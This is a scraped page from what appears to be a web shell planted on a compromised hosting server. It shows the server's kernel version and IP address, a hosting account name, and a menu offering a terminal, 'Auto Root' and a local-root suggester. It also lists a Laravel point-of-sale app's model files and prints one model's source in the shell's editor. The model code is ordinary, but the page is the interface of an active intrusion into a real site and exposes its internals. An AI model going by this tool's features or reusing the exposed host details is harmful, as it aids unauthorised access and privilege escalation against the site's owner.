Linux amd.servercpanel.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
LiteSpeed
Server IP : 161.248.188.165 & Your IP : 216.73.216.219
Domains :
Cant Read [ /etc/named.conf ]
User : oishifashion
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
oishifashion /
ap.tsgbd.com /
app /
Delete
Unzip
Name
Size
Permission
Date
Action
Backup
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Charts
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Console
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Events
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Exceptions
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Exports
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Http
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Listeners
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Mail
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Notifications
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Providers
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Restaurant
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Rules
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Utils
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Account.php
3.89
KB
-rw-r--r--
2025-12-16 01:59
AccountTransaction.php
4.44
KB
-rw-r--r--
2025-12-16 01:59
AccountType.php
486
B
-rw-r--r--
2025-12-16 01:59
Barcode.php
221
B
-rw-r--r--
2025-12-16 01:59
Brands.php
1.01
KB
-rw-r--r--
2025-12-16 01:59
Business.php
2.78
KB
-rw-r--r--
2025-12-16 01:59
BusinessLocation.php
5.42
KB
-rw-r--r--
2025-12-16 01:59
CashDenomination.php
230
B
-rw-r--r--
2025-12-16 01:59
CashRegister.php
585
B
-rw-r--r--
2025-12-16 01:59
CashRegisterTransaction.php
237
B
-rw-r--r--
2025-12-16 01:59
Category.php
2.92
KB
-rw-r--r--
2025-12-16 01:59
Contact.php
12.51
KB
-rw-r--r--
2025-12-16 01:59
Currency.php
104
B
-rw-r--r--
2025-12-16 01:59
CustomerGroup.php
1016
B
-rw-r--r--
2025-12-16 01:59
DashboardConfiguration.php
111
B
-rw-r--r--
2025-12-16 01:59
Discount.php
483
B
-rw-r--r--
2025-12-16 01:59
DocumentAndNote.php
928
B
-rw-r--r--
2025-12-16 01:59
ExpenseCategory.php
811
B
-rw-r--r--
2025-12-16 01:59
GroupSubTax.php
213
B
-rw-r--r--
2025-12-16 01:59
InvoiceLayout.php
1.06
KB
-rw-r--r--
2025-12-16 01:59
InvoiceScheme.php
836
B
-rw-r--r--
2025-12-16 01:59
Media.php
6.31
KB
-rw-r--r--
2025-12-16 01:59
NotificationTemplate.php
17.09
KB
-rw-r--r--
2025-12-16 01:59
PaymentAccount.php
693
B
-rw-r--r--
2025-12-16 01:59
Printer.php
1.65
KB
-rw-r--r--
2025-12-16 01:59
Product.php
5.34
KB
-rw-r--r--
2025-12-16 01:59
ProductRack.php
225
B
-rw-r--r--
2025-12-16 01:59
ProductVariation.php
448
B
-rw-r--r--
2025-12-16 01:59
PurchaseLine.php
1.85
KB
-rw-r--r--
2025-12-16 01:59
ReferenceCount.php
228
B
-rw-r--r--
2025-12-16 01:59
SellingPriceGroup.php
1.58
KB
-rw-r--r--
2025-12-16 01:59
StockAdjustmentLine.php
474
B
-rw-r--r--
2025-12-16 01:59
System.php
2.33
KB
-rw-r--r--
2025-12-16 01:59
TaxRate.php
2.66
KB
-rw-r--r--
2025-12-16 01:59
Transaction.php
13.43
KB
-rw-r--r--
2025-12-16 01:59
TransactionPayment.php
3.16
KB
-rw-r--r--
2025-12-16 01:59
TransactionSellLine.php
2.61
KB
-rw-r--r--
2025-12-16 01:59
TransactionSellLinesPurchaseLines.php
375
B
-rw-r--r--
2025-12-16 01:59
TypesOfService.php
758
B
-rw-r--r--
2025-12-16 01:59
Unit.php
1.28
KB
-rw-r--r--
2025-12-16 01:59
User.php
8.89
KB
-rw-r--r--
2025-12-16 01:59
UserContactAccess.php
113
B
-rw-r--r--
2025-12-16 01:59
Variation.php
1.62
KB
-rw-r--r--
2025-12-16 01:59
VariationGroupPrice.php
819
B
-rw-r--r--
2025-12-16 01:59
VariationLocationDetails.php
238
B
-rw-r--r--
2025-12-16 01:59
VariationTemplate.php
401
B
-rw-r--r--
2025-12-16 01:59
VariationValueTemplate.php
419
B
-rw-r--r--
2025-12-16 01:59
Warranty.php
1.3
KB
-rw-r--r--
2025-12-16 01:59
Save
Rename
<?php namespace App; use DB; use Illuminate\Database\Eloquent\Model; class BusinessLocation extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'featured_products' => 'array', ]; /** * Return list of locations for a business * * @param int $business_id * @param bool $show_all = false * @param array $receipt_printer_type_attribute = * @return array */ public static function forDropdown($business_id, $show_all = false, $receipt_printer_type_attribute = false, $append_id = true, $check_permission = true) { $query = BusinessLocation::where('business_id', $business_id)->Active(); if ($check_permission) { $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $query->whereIn('id', $permitted_locations); } } if ($append_id) { $query->select( DB::raw("IF(location_id IS NULL OR location_id='', name, CONCAT(name, ' (', location_id, ')')) AS name"), 'id', 'receipt_printer_type', 'selling_price_group_id', 'default_payment_accounts', 'invoice_scheme_id', 'invoice_layout_id', 'sale_invoice_scheme_id' ); } $result = $query->get(); $locations = $result->pluck('name', 'id'); $price_groups = SellingPriceGroup::forDropdown($business_id); if ($show_all) { $locations->prepend(__('report.all_locations'), ''); } if ($receipt_printer_type_attribute) { $attributes = collect($result)->mapWithKeys(function ($item) use ($price_groups) { $default_payment_accounts = json_decode($item->default_payment_accounts, true); $default_payment_accounts['advance'] = [ 'is_enabled' => 1, 'account' => null, ]; return [$item->id => [ 'data-receipt_printer_type' => $item->receipt_printer_type, 'data-default_price_group' => ! empty($item->selling_price_group_id) && array_key_exists($item->selling_price_group_id, $price_groups) ? $item->selling_price_group_id : null, 'data-default_payment_accounts' => json_encode($default_payment_accounts), 'data-default_sale_invoice_scheme_id' => $item->sale_invoice_scheme_id, 'data-default_invoice_scheme_id' => $item->invoice_scheme_id, 'data-default_invoice_layout_id' => $item->invoice_layout_id, ], ]; })->all(); return ['locations' => $locations, 'attributes' => $attributes]; } else { return $locations; } } public function price_group() { return $this->belongsTo(\App\SellingPriceGroup::class, 'selling_price_group_id'); } /** * Scope a query to only include active location. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeActive($query) { return $query->where('is_active', 1); } /** * Get the featured products. * * @return array/object */ public function getFeaturedProducts($is_array = false, $check_location = true) { if (empty($this->featured_products)) { return []; } $query = Variation::whereIn('variations.id', $this->featured_products) ->join('product_locations as pl', 'pl.product_id', '=', 'variations.product_id') ->join('products as p', 'p.id', '=', 'variations.product_id') ->where('p.not_for_selling', 0) ->with(['product_variation', 'product', 'media']) ->select('variations.*'); if ($check_location) { $query->where('pl.location_id', $this->id); } $featured_products = $query->get(); if ($is_array) { $array = []; foreach ($featured_products as $featured_product) { $array[$featured_product->id] = $featured_product->full_name; } return $array; } return $featured_products; } public function getLocationAddressAttribute() { $location = $this; $address_line_1 = []; if (! empty($location->landmark)) { $address_line_1[] = $location->landmark; } if (! empty($location->city)) { $address_line_1[] = $location->city; } if (! empty($location->state)) { $address_line_1[] = $location->state; } if (! empty($location->zip_code)) { $address_line_1[] = $location->zip_code; } $address = implode(', ', $address_line_1); $address_line_2 = []; if (! empty($location->country)) { $address_line_2[] = $location->country; } $address .= '<br>'; $address .= implode(', ', $address_line_2); return $address; } }